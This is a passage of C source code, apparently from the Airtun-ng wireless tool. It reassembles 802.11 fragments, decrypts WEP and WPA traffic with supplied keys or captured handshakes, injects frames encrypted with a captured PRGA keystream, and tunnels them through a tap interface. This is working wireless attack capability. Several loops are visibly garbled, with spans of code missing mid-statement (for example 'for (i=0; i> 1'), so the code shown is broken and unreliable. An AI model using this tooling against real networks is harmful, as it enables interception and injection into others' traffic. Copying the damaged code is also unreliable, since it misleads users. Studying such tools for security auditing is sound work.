= rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000UL + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { if( opt.crypt == CRYPT_WEP) { packet = (unsigned char*) malloc(len+old->headerlen+8); K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int is_filtered_netmask(unsigned char *bssid) { unsigned char mac1[6]; unsigned char mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet, int data_begin) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet + data_begin, opt.prga, 4); return 0; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n commented out */ // memmove( h80211 + data_begin + 2, h80211 + data_begin, length - data_begin ); // memset( h80211 + data_begin, 0, 2 ); // data_begin += 2; // length += 2; // h80211[0] |= 0x80; // Set QoS /* Find station */ st_cur = st_1st; while( st_cur != NULL ) { // STA -> AP if( opt.tods == 1 && memcmp( st_cur->stmac, packet+6, 6 ) == 0 ) break; // AP -> STA if( opt.tods == 0 && memcmp( st_cur->stmac, packet, 6 ) == 0 ) break; st_cur = st_cur->next; } if( st_cur == NULL ) { printf( "Cannot inject: handshake not captured yet.\n" ); return 1; } // Todo: overflow to higher bits (pn is 6 bytes wide) st_cur->pn[5] += 1; h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag encrypt_ccmp( h80211, length, st_cur->ptk + 32, st_cur->pn ); length += 16; data_begin += 8; } else if( opt.prgalen > 0 ) { if(create_wep_packet(h80211, &length, data_begin) != 0) return 1; } if ((opt.tods == 2) && opt.bidir) { dest_net = get_entry(packet); //Search the list to determine in which network part to send the packet. if (dest_net == 0) { send_packet(h80211, length); } else if (dest_net == 1) { swap_ra_ta(h80211); send_packet(h80211, length); } else { send_packet(h80211, length); swap_ra_ta(h80211); send_packet(h80211, length); } } else { send_packet(h80211, length); } return 0; } int packet_recv(unsigned char* packet, int length) { unsigned char K[64]; unsigned char bssid[6], smac[6], dmac[6], stmac[6]; unsigned char *buffer; unsigned long crc; int len; int z; int fragnum, seqnum, morefrag; int process_packet; struct WPA_ST_info *st_cur; struct WPA_ST_info *st_prv; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(length < z+8) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); memcpy( stmac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); memcpy( stmac, packet + 4, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); memcpy( stmac, packet + 4, 6 ); break; } fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } process_packet = 0; // In WDS mode we want to see packets from both sides of the network if ( ( packet[0] & 0x08 ) == 0x08 ) { if( memcmp( bssid, opt.r_bssid, 6) == 0 ) { process_packet = 1; } else if( opt.tods == 2 && memcmp( bssid, opt.r_trans, 6) == 0 ) { process_packet = 1; } } if( process_packet ) { /* find station */ st_prv = NULL; st_cur = st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new station, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct WPA_ST_info *) malloc( sizeof( struct WPA_ST_info ) ) ) ) { perror( "malloc failed" ); return 1; } memset( st_cur, 0, sizeof( struct WPA_ST_info ) ); if( st_1st == NULL ) st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); memcpy( st_cur->bssid, bssid, 6 ); } /* check if we haven't already processed this packet */ crc = calc_crc_buf( packet + z, length - z ); if( ( packet[1] & 3 ) == 2 ) { if( st_cur->t_crc == crc ) { return 1; } st_cur->t_crc = crc; } else { if( st_cur->f_crc == crc ) { return 1; } st_cur->f_crc = crc; } /* check the SNAP header to see if data is encrypted * * as unencrypted data begins with AA AA 03 00 00 00 */ if( packet[z] != packet[z + 1] || packet[z + 2] != 0x03 ) { /* check the extended IV flag */ if( ( packet[z + 3] & 0x20 ) == 0 ) { if( opt.crypt != CRYPT_WEP ) return 1; memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; /* can overlap */ memmove( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } else { if( opt.crypt != CRYPT_WPA ) return 1; /* if the PTK is valid, try to decrypt */ if( st_cur == NULL || ! st_cur->valid_ptk ) return 1; if( st_cur->keyver == 1 ) { if( decrypt_tkip( packet, length, st_cur->ptk + 32 ) == 0 ) { printf("ICV check failed (WPA-TKIP)!\n"); return 1; } length -= 20; } else { if ( memcmp( smac, st_cur->stmac, 6 ) == 0 ) { st_cur->pn[0] = packet[z + 7]; st_cur->pn[1] = packet[z + 6]; st_cur->pn[2] = packet[z + 5]; st_cur->pn[3] = packet[z + 4]; st_cur->pn[4] = packet[z + 1]; st_cur->pn[5] = packet[z + 0]; } if( decrypt_ccmp( packet, length, st_cur->ptk + 32 ) == 0 ) { printf("ICV check failed (WPA-CCMP)!\n"); return 1; } length -= 16; } /* WPA data packet was successfully decrypted, * * remove the WPA Ext.IV & MIC, write the data */ /* can overlap */ memmove( packet + z, packet + z + 8, length - z ); packet[1] &= 0xBF; } } else if ( opt.crypt == CRYPT_WPA ) { /* check ethertype == EAPOL */ z += 6; if( packet[z] != 0x88 || packet[z + 1] != 0x8E ) { return 1; } z += 2; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( packet[z + 1] != 0x03 || ( packet[z + 4] != 0xFE && packet[z + 4] != 0x02 ) ) return 1; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) == 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &packet[z + 17], 32 ); } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) == 0 && ( packet[z + 6] & 0x80 ) == 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { /* set supplicant nonce */ memcpy( st_cur->snonce, &packet[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (length - z < (int)st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; return 1; } memcpy( st_cur->keymic, &packet[z + 81], 16 ); memcpy( st_cur->eapol, &packet[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = packet[z + 6] & 7; } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( packet[z + 6] & 0x08 ) != 0 && ( packet[z + 6] & 0x40 ) != 0 && ( packet[z + 6] & 0x80 ) != 0 && ( packet[z + 5] & 0x01 ) != 0 ) { if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) { /* set authenticator nonce */ memcpy( st_cur->anonce, &packet[z + 17], 32 ); } /* copy the MIC & eapol frame */ st_cur->eapol_size = ( packet[z + 2] << 8 ) + packet[z + 3] + 4; if (length - z < (int)st_cur->eapol_size || st_cur->eapol_size == 0 || st_cur->eapol_size > sizeof(st_cur->eapol)) { // Ignore the packet trying to crash us. st_cur->eapol_size = 0; return 1; //continue; } memcpy( st_cur->keymic, &packet[z + 81], 16 ); memcpy( st_cur->eapol, &packet[z], st_cur->eapol_size ); memset( st_cur->eapol + 81, 0, 16 ); /* copy the key descriptor version */ st_cur->keyver = packet[z + 6] & 7; } st_cur->valid_ptk = calc_ptk( st_cur, opt.pmk ); if ( st_cur->valid_ptk ) { printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); } } switch( packet[1] & 3 ) { case 1: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+10, 6); //SRC_MAC break; case 2: memcpy( h80211, packet+4 , 6); //DST_MAC memcpy( h80211+6, packet+16, 6); //SRC_MAC break; case 3: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+24, 6); //SRC_MAC break; default: break; } /* Keep track of known MACs, so we only have to tunnel into one side of the WDS network */ if (((packet[1] & 3) == 3) && opt.bidir) { if (! memcmp(packet+10, opt.r_bssid, 6)) { set_entry(packet+24, 0); } if (! memcmp(packet+10, opt.r_trans, 6)) { set_entry(packet+24, 1); } } if( memcmp(dmac, SPANTREE, 6) == 0 ) { if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z, length-z); length = length-z+14; h80211[12] = ((length-14)>>8)&0xFF; h80211[13] = (length-14)&0xFF; } else { memcpy( h80211+12, packet+z+6, 2); //copy ether type if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; } ti_write(dev.dv_ti, h80211, length); } else { return 1; } return 0; } int main( int argc, char *argv[] ) { int ret_val, len, i, n, ret; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; unsigned char bssid[6]; char *s, buf[128]; int caplen; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* check the arguments */ memset( ZERO, 0, sizeof( ZERO ) ); memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); opt.r_nbpps = 100; opt.tods = 0; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"repeat", 0, 0, 'f'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "x:a:h:i:r:y:t:s:bw:p:e:m:d:fH", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 't' : if( atoi(optarg) == 1) opt.tods = 1; else if ( atoi(optarg) == 2) opt.tods = 2; else opt.tods = 0; break; case 's' : if( getmac( optarg, 1, opt.r_trans ) != 0 ) { printf( "Invalid Transmitter MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'b' : opt.bidir = 1; break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'e' : if ( opt.essid[0]) { printf( "ESSID already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); break; case 'p' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WPA; memset( opt.passphrase, 0, sizeof( opt.passphrase ) ); strncpy( opt.passphrase, optarg, sizeof( opt.passphrase ) - 1 ); break; case 'm': if ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f': opt.repeat = 1; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 ) { printf( "Please specify a BSSID (-a).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } if( ( memcmp( opt.r_trans, NULL_MAC, 6) == 0 ) && opt.tods == 2 ) { printf( "Please specify a Transmitter (-s).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } if( opt.crypt == CRYPT_WPA ) { if( opt.passphrase[0] != '\0' ) { /* compute the Pairwise Master Key */ if( opt.essid[0] == '\0' ) { printf( "You must also specify the ESSID (-e).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } calc_pmk( opt.passphrase, opt.essid, opt.pmk ); } } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } printf( "created tap interface %s\n", ti_name(dev.dv_ti)); if(opt.prgalen <= 0 && opt.crypt == CRYPT_NONE) { printf( "No encryption specified. Sending and receiving frames through %s.\n", argv[optind]); } else if(opt.crypt == CRYPT_WPA) { printf( "WPA encryption specified. Sending and receiving frames through %s.\n", argv[optind] ); } else if(opt.crypt == CRYPT_WEP) { printf( "WEP encryption specified. Sending and receiving frames through %s.\n", argv[optind] ); } else { printf( "WEP encryption by PRGA specified. No reception, only sending frames through %s.\n", argv[optind] ); } if( opt.tods == 1 ) { printf( "ToDS bit set in all frames.\n" ); } else if( opt.tods == 2) { printf( "ToDS and FromDS bit set in all frames (WDS/Bridge) - " ); if (opt.bidir) { printf( "bidirectional mode\n" ); } else { printf( "unidirectional mode\n" ); } } else { printf( "FromDS bit set in all frames.\n" ); } for( ; ; ) { if(opt.s_file != NULL) { n 